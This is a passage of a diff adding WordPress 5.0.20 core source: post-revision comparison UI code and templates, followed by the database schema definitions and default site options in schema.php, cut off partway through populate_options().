+			'show_split_view' => true
+		);
+
+		/**
+		 * Filters revisions text diff options.
+		 *
+		 * Filters the options passed to wp_text_diff() when viewing a post revision.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param array   $args {
+		 *     Associative array of options to pass to wp_text_diff().
+		 *
+		 *     @type bool $show_split_view True for split view (two columns), false for
+		 *                                 un-split view (single column). Default true.
+		 * }
+		 * @param string  $field        The current revision field.
+		 * @param WP_Post $compare_from The revision post to compare from.
+		 * @param WP_Post $compare_to   The revision post to compare to.
+		 */
+		$args = apply_filters( 'revision_text_diff_options', $args, $field, $compare_from, $compare_to );
+
+		$diff = wp_text_diff( $content_from, $content_to, $args );
+
+		if ( ! $diff && 'post_title' === $field ) {
+			// It's a better user experience to still show the Title, even if it didn't change.
+			// No, you didn't see this.
+			$diff = '<table class="diff"><colgroup><col class="content diffsplit left"><col class="content diffsplit middle"><col class="content diffsplit right"></colgroup><tbody><tr>';
+			$diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td><td></td><td>' . esc_html( $compare_to->post_title ) . '</td>';
+			$diff .= '</tr></tbody>';
+			$diff .= '</table>';
+		}
+
+		if ( $diff ) {
+			$return[] = array(
+				'id' => $field,
+				'name' => $name,
+				'diff' => $diff,
+			);
+		}
+	}
+
+	/**
+	 * Filters the fields displayed in the post revision diff UI.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array   $return       Revision UI fields. Each item is an array of id, name and diff.
+	 * @param WP_Post $compare_from The revision post to compare from.
+	 * @param WP_Post $compare_to   The revision post to compare to.
+	 */
+	return apply_filters( 'wp_get_revision_ui_diff', $return, $compare_from, $compare_to );
+
+}
+
+/**
+ * Prepare revisions for JavaScript.
+ *
+ * @since 3.6.0
+ *
+ * @param object|int $post                 The post object. Also accepts a post ID.
+ * @param int        $selected_revision_id The selected revision ID.
+ * @param int        $from                 Optional. The revision ID to compare from.
+ *
+ * @return array An associative array of revision data and related settings.
+ */
+function wp_prepare_revisions_for_js( $post, $selected_revision_id, $from = null ) {
+	$post = get_post( $post );
+	$authors = array();
+	$now_gmt = time();
+
+	$revisions = wp_get_post_revisions( $post->ID, array( 'order' => 'ASC', 'check_enabled' => false ) );
+	// If revisions are disabled, we only want autosaves and the current post.
+	if ( ! wp_revisions_enabled( $post ) ) {
+		foreach ( $revisions as $revision_id => $revision ) {
+			if ( ! wp_is_post_autosave( $revision ) )
+				unset( $revisions[ $revision_id ] );
+		}
+		$revisions = array( $post->ID => $post ) + $revisions;
+	}
+
+	$show_avatars = get_option( 'show_avatars' );
+
+	cache_users( wp_list_pluck( $revisions, 'post_author' ) );
+
+	$can_restore = current_user_can( 'edit_post', $post->ID );
+	$current_id = false;
+
+	foreach ( $revisions as $revision ) {
+		$modified = strtotime( $revision->post_modified );
+		$modified_gmt = strtotime( $revision->post_modified_gmt . ' +0000' );
+		if ( $can_restore ) {
+			$restore_link = str_replace( '&amp;', '&', wp_nonce_url(
+				add_query_arg(
+					array( 'revision' => $revision->ID,
+						'action' => 'restore' ),
+						admin_url( 'revision.php' )
+				),
+				"restore-post_{$revision->ID}"
+			) );
+		}
+
+		if ( ! isset( $authors[ $revision->post_author ] ) ) {
+			$authors[ $revision->post_author ] = array(
+				'id' => (int) $revision->post_author,
+				'avatar' => $show_avatars ? get_avatar( $revision->post_author, 32 ) : '',
+				'name' => get_the_author_meta( 'display_name', $revision->post_author ),
+			);
+		}
+
+		$autosave = (bool) wp_is_post_autosave( $revision );
+		$current = ! $autosave && $revision->post_modified_gmt === $post->post_modified_gmt;
+		if ( $current && ! empty( $current_id ) ) {
+			// If multiple revisions have the same post_modified_gmt, highest ID is current.
+			if ( $current_id < $revision->ID ) {
+				$revisions[ $current_id ]['current'] = false;
+				$current_id = $revision->ID;
+			} else {
+				$current = false;
+			}
+		} elseif ( $current ) {
+			$current_id = $revision->ID;
+		}
+
+		$revisions_data = array(
+			'id'         => $revision->ID,
+			'title'      => get_the_title( $post->ID ),
+			'author'     => $authors[ $revision->post_author ],
+			'date'       => date_i18n( __( 'M j, Y @ H:i' ), $modified ),
+			'dateShort'  => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), $modified ),
+			'timeAgo'    => sprintf( __( '%s ago' ), human_time_diff( $modified_gmt, $now_gmt ) ),
+			'autosave'   => $autosave,
+			'current'    => $current,
+			'restoreUrl' => $can_restore ? $restore_link : false,
+		);
+
+		/**
+		 * Filters the array of revisions used on the revisions screen.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array   $revisions_data {
+		 *     The bootstrapped data for the revisions screen.
+		 *
+		 *     @type int        $id         Revision ID.
+		 *     @type string     $title      Title for the revision's parent WP_Post object.
+		 *     @type int        $author     Revision post author ID.
+		 *     @type string     $date       Date the revision was modified.
+		 *     @type string     $dateShort  Short-form version of the date the revision was modified.
+		 *     @type string     $timeAgo    GMT-aware amount of time ago the revision was modified.
+		 *     @type bool       $autosave   Whether the revision is an autosave.
+		 *     @type bool       $current    Whether the revision is both not an autosave and the post
+		 *                                  modified date matches the revision modified date (GMT-aware).
+		 *     @type bool|false $restoreUrl URL if the revision can be restored, false otherwise.
+		 * }
+		 * @param WP_Post $revision       The revision's WP_Post object.
+		 * @param WP_Post $post           The revision's parent WP_Post object.
+		 */
+		$revisions[ $revision->ID ] = apply_filters( 'wp_prepare_revision_for_js', $revisions_data, $revision, $post );
+	}
+
+	/**
+	 * If we only have one revision, the initial revision is missing; This happens
+	 * when we have an autsosave and the user has clicked 'View the Autosave'
+	 */
+	if ( 1 === sizeof( $revisions ) ) {
+		$revisions[ $post->ID ] = array(
+			'id'         => $post->ID,
+			'title'      => get_the_title( $post->ID ),
+			'author'     => $authors[ $post->post_author ],
+			'date'       => date_i18n( __( 'M j, Y @ H:i' ), strtotime( $post->post_modified ) ),
+			'dateShort'  => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), strtotime( $post->post_modified ) ),
+			'timeAgo'    => sprintf( __( '%s ago' ), human_time_diff( strtotime( $post->post_modified_gmt ), $now_gmt ) ),
+			'autosave'   => false,
+			'current'    => true,
+			'restoreUrl' => false,
+		);
+		$current_id = $post->ID;
+	}
+
+	/*
+	 * If a post has been saved since the last revision (no revisioned fields
+	 * were changed), we may not have a "current" revision. Mark the latest
+	 * revision as "current".
+	 */
+	if ( empty( $current_id ) ) {
+		if ( $revisions[ $revision->ID ]['autosave'] ) {
+			$revision = end( $revisions );
+			while ( $revision['autosave'] ) {
+				$revision = prev( $revisions );
+			}
+			$current_id = $revision['id'];
+		} else {
+			$current_id = $revision->ID;
+		}
+		$revisions[ $current_id ]['current'] = true;
+	}
+
+	// Now, grab the initial diff.
+	$compare_two_mode = is_numeric( $from );
+	if ( ! $compare_two_mode ) {
+		$found = array_search( $selected_revision_id, array_keys( $revisions ) );
+		if ( $found ) {
+			$from = array_keys( array_slice( $revisions, $found - 1, 1, true ) );
+			$from = reset( $from );
+		} else {
+			$from = 0;
+		}
+	}
+
+	$from = absint( $from );
+
+	$diffs = array( array(
+		'id' => $from . ':' . $selected_revision_id,
+		'fields' => wp_get_revision_ui_diff( $post->ID, $from, $selected_revision_id ),
+	));
+
+	return array(
+		'postId'           => $post->ID,
+		'nonce'            => wp_create_nonce( 'revisions-ajax-nonce' ),
+		'revisionData'     => array_values( $revisions ),
+		'to'               => $selected_revision_id,
+		'from'             => $from,
+		'diffData'         => $diffs,
+		'baseUrl'          => parse_url( admin_url( 'revision.php' ), PHP_URL_PATH ),
+		'compareTwoMode'   => absint( $compare_two_mode ), // Apparently booleans are not allowed
+		'revisionIds'      => array_keys( $revisions ),
+	);
+}
+
+/**
+ * Print JavaScript templates required for the revisions experience.
+ *
+ * @since 4.1.0
+ *
+ * @global WP_Post $post The global `$post` object.
+ */
+function wp_print_revision_templates() {
+	global $post;
+	?><script id="tmpl-revisions-frame" type="text/html">
+		<div class="revisions-control-frame"></div>
+		<div class="revisions-diff-frame"></div>
+	</script>
+
+	<script id="tmpl-revisions-buttons" type="text/html">
+		<div class="revisions-previous">
+			<input class="button" type="button" value="<?php echo esc_attr_x( 'Previous', 'Button label for a previous revision' ); ?>" />
+		</div>
+
+		<div class="revisions-next">
+			<input class="button" type="button" value="<?php echo esc_attr_x( 'Next', 'Button label for a next revision' ); ?>" />
+		</div>
+	</script>
+
+	<script id="tmpl-revisions-checkbox" type="text/html">
+		<div class="revision-toggle-compare-mode">
+			<label>
+				<input type="checkbox" class="compare-two-revisions"
+				<#
+				if ( 'undefined' !== typeof data && data.model.attributes.compareTwoMode ) {
+					#> checked="checked"<#
+				}
+				#>
+				/>
+				<?php esc_html_e( 'Compare any two revisions' ); ?>
+			</label>
+		</div>
+	</script>
+
+	<script id="tmpl-revisions-meta" type="text/html">
+		<# if ( ! _.isUndefined( data.attributes ) ) { #>
+			<div class="diff-title">
+				<# if ( 'from' === data.type ) { #>
+					<strong><?php _ex( 'From:', 'Followed by post revision info' ); ?></strong>
+				<# } else if ( 'to' === data.type ) { #>
+					<strong><?php _ex( 'To:', 'Followed by post revision info' ); ?></strong>
+				<# } #>
+				<div class="author-card<# if ( data.attributes.autosave ) { #> autosave<# } #>">
+					{{{ data.attributes.author.avatar }}}
+					<div class="author-info">
+					<# if ( data.attributes.autosave ) { #>
+						<span class="byline"><?php printf( __( 'Autosave by %s' ),
+							'<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?></span>
+					<# } else if ( data.attributes.current ) { #>
+						<span class="byline"><?php printf( __( 'Current Revision by %s' ),
+							'<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?></span>
+					<# } else { #>
+						<span class="byline"><?php printf( __( 'Revision by %s' ),
+							'<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?></span>
+					<# } #>
+						<span class="time-ago">{{ data.attributes.timeAgo }}</span>
+						<span class="date">({{ data.attributes.dateShort }})</span>
+					</div>
+				<# if ( 'to' === data.type && data.attributes.restoreUrl ) { #>
+					<input  <?php if ( wp_check_post_lock( $post->ID ) ) { ?>
+						disabled="disabled"
+					<?php } else { ?>
+						<# if ( data.attributes.current ) { #>
+							disabled="disabled"
+						<# } #>
+					<?php } ?>
+					<# if ( data.attributes.autosave ) { #>
+						type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Autosave' ); ?>" />
+					<# } else { #>
+						type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Revision' ); ?>" />
+					<# } #>
+				<# } #>
+			</div>
+		<# if ( 'tooltip' === data.type ) { #>
+			<div class="revisions-tooltip-arrow"><span></span></div>
+		<# } #>
+	<# } #>
+	</script>
+
+	<script id="tmpl-revisions-diff" type="text/html">
+		<div class="loading-indicator"><span class="spinner"></span></div>
+		<div class="diff-error"><?php _e( 'Sorry, something went wrong. The requested comparison could not be loaded.' ); ?></div>
+		<div class="diff">
+		<# _.each( data.fields, function( field ) { #>
+			<h3>{{ field.name }}</h3>
+			{{{ field.diff }}}
+		<# }); #>
+		</div>
+	</script><?php
+}
Index: /tags/5.0.20/src/wp-admin/includes/schema.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/schema.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/schema.php	(revision 56912)
@@ -0,0 +1,1106 @@
+<?php
+/**
+ * WordPress Administration Scheme API
+ *
+ * Here we keep the DB structure and option values.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Declare these as global in case schema.php is included from a function.
+ *
+ * @global wpdb   $wpdb
+ * @global array  $wp_queries
+ * @global string $charset_collate
+ */
+global $wpdb, $wp_queries, $charset_collate;
+
+/**
+ * The database character collate.
+ */
+$charset_collate = $wpdb->get_charset_collate();
+
+/**
+ * Retrieve the SQL for creating database tables.
+ *
+ * @since 3.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $scope Optional. The tables for which to retrieve SQL. Can be all, global, ms_global, or blog tables. Defaults to all.
+ * @param int $blog_id Optional. The site ID for which to retrieve SQL. Default is the current site ID.
+ * @return string The SQL needed to create the requested tables.
+ */
+function wp_get_db_schema( $scope = 'all', $blog_id = null ) {
+	global $wpdb;
+
+	$charset_collate = $wpdb->get_charset_collate();
+
+	if ( $blog_id && $blog_id != $wpdb->blogid )
+		$old_blog_id = $wpdb->set_blog_id( $blog_id );
+
+	// Engage multisite if in the middle of turning it on from network.php.
+	$is_multisite = is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK );
+
+	/*
+	 * Indexes have a maximum size of 767 bytes. Historically, we haven't need to be concerned about that.
+	 * As of 4.2, however, we moved to utf8mb4, which uses 4 bytes per character. This means that an index which
+	 * used to have room for floor(767/3) = 255 characters, now only has room for floor(767/4) = 191 characters.
+	 */
+	$max_index_length = 191;
+
+	// Blog specific tables.
+	$blog_tables = "CREATE TABLE $wpdb->termmeta (
+  meta_id bigint(20) unsigned NOT NULL auto_increment,
+  term_id bigint(20) unsigned NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (meta_id),
+  KEY term_id (term_id),
+  KEY meta_key (meta_key($max_index_length))
+) $charset_collate;
+CREATE TABLE $wpdb->terms (
+ term_id bigint(20) unsigned NOT NULL auto_increment,
+ name varchar(200) NOT NULL default '',
+ slug varchar(200) NOT NULL default '',
+ term_group bigint(10) NOT NULL default 0,
+ PRIMARY KEY  (term_id),
+ KEY slug (slug($max_index_length)),
+ KEY name (name($max_index_length))
+) $charset_collate;
+CREATE TABLE $wpdb->term_taxonomy (
+ term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment,
+ term_id bigint(20) unsigned NOT NULL default 0,
+ taxonomy varchar(32) NOT NULL default '',
+ description longtext NOT NULL,
+ parent bigint(20) unsigned NOT NULL default 0,
+ count bigint(20) NOT NULL default 0,
+ PRIMARY KEY  (term_taxonomy_id),
+ UNIQUE KEY term_id_taxonomy (term_id,taxonomy),
+ KEY taxonomy (taxonomy)
+) $charset_collate;
+CREATE TABLE $wpdb->term_relationships (
+ object_id bigint(20) unsigned NOT NULL default 0,
+ term_taxonomy_id bigint(20) unsigned NOT NULL default 0,
+ term_order int(11) NOT NULL default 0,
+ PRIMARY KEY  (object_id,term_taxonomy_id),
+ KEY term_taxonomy_id (term_taxonomy_id)
+) $charset_collate;
+CREATE TABLE $wpdb->commentmeta (
+  meta_id bigint(20) unsigned NOT NULL auto_increment,
+  comment_id bigint(20) unsigned NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (meta_id),
+  KEY comment_id (comment_id),
+  KEY meta_key (meta_key($max_index_length))
+) $charset_collate;
+CREATE TABLE $wpdb->comments (
+  comment_ID bigint(20) unsigned NOT NULL auto_increment,
+  comment_post_ID bigint(20) unsigned NOT NULL default '0',
+  comment_author tinytext NOT NULL,
+  comment_author_email varchar(100) NOT NULL default '',
+  comment_author_url varchar(200) NOT NULL default '',
+  comment_author_IP varchar(100) NOT NULL default '',
+  comment_date datetime NOT NULL default '0000-00-00 00:00:00',
+  comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
+  comment_content text NOT NULL,
+  comment_karma int(11) NOT NULL default '0',
+  comment_approved varchar(20) NOT NULL default '1',
+  comment_agent varchar(255) NOT NULL default '',
+  comment_type varchar(20) NOT NULL default '',
+  comment_parent bigint(20) unsigned NOT NULL default '0',
+  user_id bigint(20) unsigned NOT NULL default '0',
+  PRIMARY KEY  (comment_ID),
+  KEY comment_post_ID (comment_post_ID),
+  KEY comment_approved_date_gmt (comment_approved,comment_date_gmt),
+  KEY comment_date_gmt (comment_date_gmt),
+  KEY comment_parent (comment_parent),
+  KEY comment_author_email (comment_author_email(10))
+) $charset_collate;
+CREATE TABLE $wpdb->links (
+  link_id bigint(20) unsigned NOT NULL auto_increment,
+  link_url varchar(255) NOT NULL default '',
+  link_name varchar(255) NOT NULL default '',
+  link_image varchar(255) NOT NULL default '',
+  link_target varchar(25) NOT NULL default '',
+  link_description varchar(255) NOT NULL default '',
+  link_visible varchar(20) NOT NULL default 'Y',
+  link_owner bigint(20) unsigned NOT NULL default '1',
+  link_rating int(11) NOT NULL default '0',
+  link_updated datetime NOT NULL default '0000-00-00 00:00:00',
+  link_rel varchar(255) NOT NULL default '',
+  link_notes mediumtext NOT NULL,
+  link_rss varchar(255) NOT NULL default '',
+  PRIMARY KEY  (link_id),
+  KEY link_visible (link_visible)
+) $charset_collate;
+CREATE TABLE $wpdb->options (
+  option_id bigint(20) unsigned NOT NULL auto_increment,
+  option_name varchar(191) NOT NULL default '',
+  option_value longtext NOT NULL,
+  autoload varchar(20) NOT NULL default 'yes',
+  PRIMARY KEY  (option_id),
+  UNIQUE KEY option_name (option_name)
+) $charset_collate;
+CREATE TABLE $wpdb->postmeta (
+  meta_id bigint(20) unsigned NOT NULL auto_increment,
+  post_id bigint(20) unsigned NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (meta_id),
+  KEY post_id (post_id),
+  KEY meta_key (meta_key($max_index_length))
+) $charset_collate;
+CREATE TABLE $wpdb->posts (
+  ID bigint(20) unsigned NOT NULL auto_increment,
+  post_author bigint(20) unsigned NOT NULL default '0',
+  post_date datetime NOT NULL default '0000-00-00 00:00:00',
+  post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
+  post_content longtext NOT NULL,
+  post_title text NOT NULL,
+  post_excerpt text NOT NULL,
+  post_status varchar(20) NOT NULL default 'publish',
+  comment_status varchar(20) NOT NULL default 'open',
+  ping_status varchar(20) NOT NULL default 'open',
+  post_password varchar(255) NOT NULL default '',
+  post_name varchar(200) NOT NULL default '',
+  to_ping text NOT NULL,
+  pinged text NOT NULL,
+  post_modified datetime NOT NULL default '0000-00-00 00:00:00',
+  post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00',
+  post_content_filtered longtext NOT NULL,
+  post_parent bigint(20) unsigned NOT NULL default '0',
+  guid varchar(255) NOT NULL default '',
+  menu_order int(11) NOT NULL default '0',
+  post_type varchar(20) NOT NULL default 'post',
+  post_mime_type varchar(100) NOT NULL default '',
+  comment_count bigint(20) NOT NULL default '0',
+  PRIMARY KEY  (ID),
+  KEY post_name (post_name($max_index_length)),
+  KEY type_status_date (post_type,post_status,post_date,ID),
+  KEY post_parent (post_parent),
+  KEY post_author (post_author)
+) $charset_collate;\n";
+
+	// Single site users table. The multisite flavor of the users table is handled below.
+	$users_single_table = "CREATE TABLE $wpdb->users (
+  ID bigint(20) unsigned NOT NULL auto_increment,
+  user_login varchar(60) NOT NULL default '',
+  user_pass varchar(255) NOT NULL default '',
+  user_nicename varchar(50) NOT NULL default '',
+  user_email varchar(100) NOT NULL default '',
+  user_url varchar(100) NOT NULL default '',
+  user_registered datetime NOT NULL default '0000-00-00 00:00:00',
+  user_activation_key varchar(255) NOT NULL default '',
+  user_status int(11) NOT NULL default '0',
+  display_name varchar(250) NOT NULL default '',
+  PRIMARY KEY  (ID),
+  KEY user_login_key (user_login),
+  KEY user_nicename (user_nicename),
+  KEY user_email (user_email)
+) $charset_collate;\n";
+
+	// Multisite users table
+	$users_multi_table = "CREATE TABLE $wpdb->users (
+  ID bigint(20) unsigned NOT NULL auto_increment,
+  user_login varchar(60) NOT NULL default '',
+  user_pass varchar(255) NOT NULL default '',
+  user_nicename varchar(50) NOT NULL default '',
+  user_email varchar(100) NOT NULL default '',
+  user_url varchar(100) NOT NULL default '',
+  user_registered datetime NOT NULL default '0000-00-00 00:00:00',
+  user_activation_key varchar(255) NOT NULL default '',
+  user_status int(11) NOT NULL default '0',
+  display_name varchar(250) NOT NULL default '',
+  spam tinyint(2) NOT NULL default '0',
+  deleted tinyint(2) NOT NULL default '0',
+  PRIMARY KEY  (ID),
+  KEY user_login_key (user_login),
+  KEY user_nicename (user_nicename),
+  KEY user_email (user_email)
+) $charset_collate;\n";
+
+	// Usermeta.
+	$usermeta_table = "CREATE TABLE $wpdb->usermeta (
+  umeta_id bigint(20) unsigned NOT NULL auto_increment,
+  user_id bigint(20) unsigned NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (umeta_id),
+  KEY user_id (user_id),
+  KEY meta_key (meta_key($max_index_length))
+) $charset_collate;\n";
+
+	// Global tables
+	if ( $is_multisite )
+		$global_tables = $users_multi_table . $usermeta_table;
+	else
+		$global_tables = $users_single_table . $usermeta_table;
+
+	// Multisite global tables.
+	$ms_global_tables = "CREATE TABLE $wpdb->blogs (
+  blog_id bigint(20) NOT NULL auto_increment,
+  site_id bigint(20) NOT NULL default '0',
+  domain varchar(200) NOT NULL default '',
+  path varchar(100) NOT NULL default '',
+  registered datetime NOT NULL default '0000-00-00 00:00:00',
+  last_updated datetime NOT NULL default '0000-00-00 00:00:00',
+  public tinyint(2) NOT NULL default '1',
+  archived tinyint(2) NOT NULL default '0',
+  mature tinyint(2) NOT NULL default '0',
+  spam tinyint(2) NOT NULL default '0',
+  deleted tinyint(2) NOT NULL default '0',
+  lang_id int(11) NOT NULL default '0',
+  PRIMARY KEY  (blog_id),
+  KEY domain (domain(50),path(5)),
+  KEY lang_id (lang_id)
+) $charset_collate;
+CREATE TABLE $wpdb->blog_versions (
+  blog_id bigint(20) NOT NULL default '0',
+  db_version varchar(20) NOT NULL default '',
+  last_updated datetime NOT NULL default '0000-00-00 00:00:00',
+  PRIMARY KEY  (blog_id),
+  KEY db_version (db_version)
+) $charset_collate;
+CREATE TABLE $wpdb->registration_log (
+  ID bigint(20) NOT NULL auto_increment,
+  email varchar(255) NOT NULL default '',
+  IP varchar(30) NOT NULL default '',
+  blog_id bigint(20) NOT NULL default '0',
+  date_registered datetime NOT NULL default '0000-00-00 00:00:00',
+  PRIMARY KEY  (ID),
+  KEY IP (IP)
+) $charset_collate;
+CREATE TABLE $wpdb->site (
+  id bigint(20) NOT NULL auto_increment,
+  domain varchar(200) NOT NULL default '',
+  path varchar(100) NOT NULL default '',
+  PRIMARY KEY  (id),
+  KEY domain (domain(140),path(51))
+) $charset_collate;
+CREATE TABLE $wpdb->sitemeta (
+  meta_id bigint(20) NOT NULL auto_increment,
+  site_id bigint(20) NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (meta_id),
+  KEY meta_key (meta_key($max_index_length)),
+  KEY site_id (site_id)
+) $charset_collate;
+CREATE TABLE $wpdb->signups (
+  signup_id bigint(20) NOT NULL auto_increment,
+  domain varchar(200) NOT NULL default '',
+  path varchar(100) NOT NULL default '',
+  title longtext NOT NULL,
+  user_login varchar(60) NOT NULL default '',
+  user_email varchar(100) NOT NULL default '',
+  registered datetime NOT NULL default '0000-00-00 00:00:00',
+  activated datetime NOT NULL default '0000-00-00 00:00:00',
+  active tinyint(1) NOT NULL default '0',
+  activation_key varchar(50) NOT NULL default '',
+  meta longtext,
+  PRIMARY KEY  (signup_id),
+  KEY activation_key (activation_key),
+  KEY user_email (user_email),
+  KEY user_login_email (user_login,user_email),
+  KEY domain_path (domain(140),path(51))
+) $charset_collate;";
+
+	switch ( $scope ) {
+		case 'blog' :
+			$queries = $blog_tables;
+			break;
+		case 'global' :
+			$queries = $global_tables;
+			if ( $is_multisite )
+				$queries .= $ms_global_tables;
+			break;
+		case 'ms_global' :
+			$queries = $ms_global_tables;
+			break;
+		case 'all' :
+		default:
+			$queries = $global_tables . $blog_tables;
+			if ( $is_multisite )
+				$queries .= $ms_global_tables;
+			break;
+	}
+
+	if ( isset( $old_blog_id ) )
+		$wpdb->set_blog_id( $old_blog_id );
+
+	return $queries;
+}
+
+// Populate for back compat.
+$wp_queries = wp_get_db_schema( 'all' );
+
+/**
+ * Create WordPress options and set the default values.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @global int  $wp_db_version
+ * @global int  $wp_current_db_version
+ */
+function populate_options() {
+	global $wpdb, $wp_db_version, $wp_current_db_version;
+
+	$guessurl = wp_guess_url();
+	/**
+	 * Fires before creating WordPress options and populating their default values.
+	 *
+	 * @since 2.6.0
+	 */
+	do_action( 'populate_options' );
+
+	if ( ini_get('safe_mode') ) {
+		// Safe mode can break mkdir() so use a flat structure by default.
+		$uploads_use_yearmonth_folders = 0;
+	} else {
+		$uploads_use_yearmonth_folders = 1;
+	}
+
+	// If WP_DEFAULT_THEME doesn't exist, fall back to the latest core default theme.
+	$stylesheet = $template = WP_DEFAULT_THEME;
+	$theme = wp_get_theme( WP_DEFAULT_THEME );
+	if ( ! $theme->exists() ) {
+		$theme = WP_Theme::get_core_default_theme();
+	}
+
+	// If we can't find a core default theme, WP_DEFAULT_THEME is the best we can do.
+	if ( $theme ) {
+		$stylesheet = $theme->get_stylesheet();
+		$template   = $theme->get_template();
+	}
+
+	$timezone_string = '';
+	$gmt_offset = 0;
+	/* translators: default GMT offset or timezone string. Must be either a valid offset (-12 to 14)
+	   or a valid timezone string (America/New_York). See https://secure.php.net/manual/en/timezones.php
+	   for all timezone strings supported by PHP.
+	*/
+	$offset_or_tz = _x( '0', 'default GMT offset or timezone string' );
+	if ( is_numeric( $offset_or_tz ) )
+		$gmt_offset = $offset_or_tz;
+	elseif ( $offset_or_tz && in_array( $offset_or_tz, timezone_identifiers_list() ) )
+			$timezone_string = $offset_or_tz;
+
+	$options = array(
+	'siteurl' => $guessurl,
+	'home' => $guessurl,
+	'blogname' => __('My Site'),
+	/* translators: site tagline */
+	'blogdescription' => __('Just another WordPress site'),
+	'users_can_register' => 0,
+	'admin_email' => 'you@example.com',
+	/* translators: default start of the week. 0 = Sunday, 1 = Monday */
+	'start_of_week' => _x( '1', 'start of week' ),
+	'use_balanceTags' => 0,
+	'use_smilies' => 1,
+	'require_name_email' => 1,
+	'comments_notify' => 1,
+	'posts_per_rss' => 10,
+	'rss_use_excerpt' => 0,
+	'mailserver_url' => 'mail.example.com',
+	'mailserver_login' => 'login@example.com',
+	'mailserver_pass' => 'password',
+	'mailserver_port' => 110,
+	'default_category' => 1,
+	'default_comment_status' => 'open',
+	'default_ping_status' => 'open',
+	'default_pingback_flag' => 1,
+	'posts_per_page' => 10,
+	/* translators: default date format, see https://secure.php.net/date */
+	'date_format' => __('F j, Y'),
+	/* translators: default time format, see https://secure.php.net/date */
+	'time_format' => __('g:i a'),
+	/* translators: links last updated date format, see https://secure.php.net/date */
+	'links_updated_date_format' => __('F j, Y g:i a'),
+	'comment_moderation' => 0,
+	'moderation_notify' => 1,
+	'permalink_structure' => '',
+	'rewrite_rules' => '',
+	'hack_file' => 0,
+	'blog_charset' => 'UTF-8',
+	'moderation_keys' => '',
+	'active_plugins' => array(),
+	'category_base' => '',
+	'ping_sites' => 'http://rpc.pingomatic.com/',
+	'comment_max_links' => 2,
+	'gmt_offset' => $gmt_offset,
+
+	// 1.5
+	'default_email_category' => 1,
+	'recently_edited' => '',
+	'template' => $template,
+	'stylesheet' => $stylesheet,
+	'comment_whitelist' => 1,
+	'blacklist_keys' => '',
+	'comment_registration' => 0,
+	'html_type' => 'text/html',
+
+	// 1.5.1
+	'use_trackback' => 0,
+
+	// 2.0
+	'default_role' => 'subscriber',
+	'db_version' => $wp_db_version,
+
+	// 2.0.1
+	'uploads_use_yearmonth_folders' => $uploads_use_yearmonth_folders,
+	'upload_path' => '',
+
+	// 2.1
+	'blog_public' => '1',
+	'default_link_category' => 2,
+	'show_on_front' => 'posts',
+
+	// 2.2
+	'tag_base' => '',
+
+	// 2.5
+	'show_avatars' => '1',
+	'avatar_rating' => 'G',
+	'upload_url_path' => '',
+	'thumbnail_size_w' => 150,
+	'thumbnail_size_h' => 150,
+	'thumbnail_crop' => 1,
+	'medium_size_w' => 300,
+	'medium_size_h' => 300,
+
+	// 2.6
+	'avatar_default' => 'mystery',
+
+	// 2.7
+	'large_size_w' => 1024,
+	'large_size_h' => 1024,
+	'image_default_link_type' => 'none',
+	'image_default_size' => '',
+	'image_default_align' => '',
+	'close_comments_for_old_posts' => 0,
+	'close_comments_days_old' => 14,
+	'thread_comments' => 1,
+	'thread_comments_depth' => 5,
+	'page_comments' => 0,
+	'comments_per_page' => 50,
+	'default_comments_page' => 'newest',
+	'comment_order' => 'asc',
+	'sticky_posts' => array(),
+	'widget_categories' => array(),
+	'widget_text' => array(),
+	'widget_rss' => array(),
+	'uninstall_plugins' => array(),
+
+	// 2.8
+	'timezone_string' => $timezone_string,
+
+	// 3.0
+	'page_for_posts' => 0,
+	'page_on_front' => 0,
+
+	// 3.1
+	'default_post_format' => 0,
+
+	// 3.5
+	'link_manager_enabled' => 0,
+
+	// 4.3.0
+	'finished_splitting_shared_terms' => 1,
+	'site_icon' => 0,
+
+	// 4.4.0
+	'medium_large_size_w' => 768,
+	'medium_large_size_h' => 0,
+
+		// 4.9.6
+		'wp_page_for_privacy_policy'      => 0,
+
+		// 4.9.8
+		'show_comments_cookies_opt_in'    => 0,
+	);
+
+	// 3.3
+	if ( ! is_multisite() ) {
+		$options['initial_db_version'] = ! empty( $wp_current_db_version ) && $wp_current_db_version < $wp_db_version
+			? $wp_current_db_version : $wp_db_version;
+	}
+
+	// 3.0 multisite
+	if ( is_multisite() ) {
+		/* translators: site tagline */
+		$options[ 'blogdescription' ] = sprintf(__('Just another %s site'), get_network()->site_name );
+		$options[ 'permalink_structure' ] = '/%year%/%monthnum%/%day%/%postname%/';
+	}
+
+	// Set autoload to no for these options
+	$fat_options = array( 'moderation_keys', 'recently_edited', 'blacklist_keys', 'uninstall_plugins' );
+
+	$keys = "'" . implode( "', '", array_keys( $options ) ) . "'";
+	$existing_options = $wpdb->get_col( "SELECT option_name FROM $wpdb->options WHERE option_name in ( $keys )" );
+
+	$insert = '';
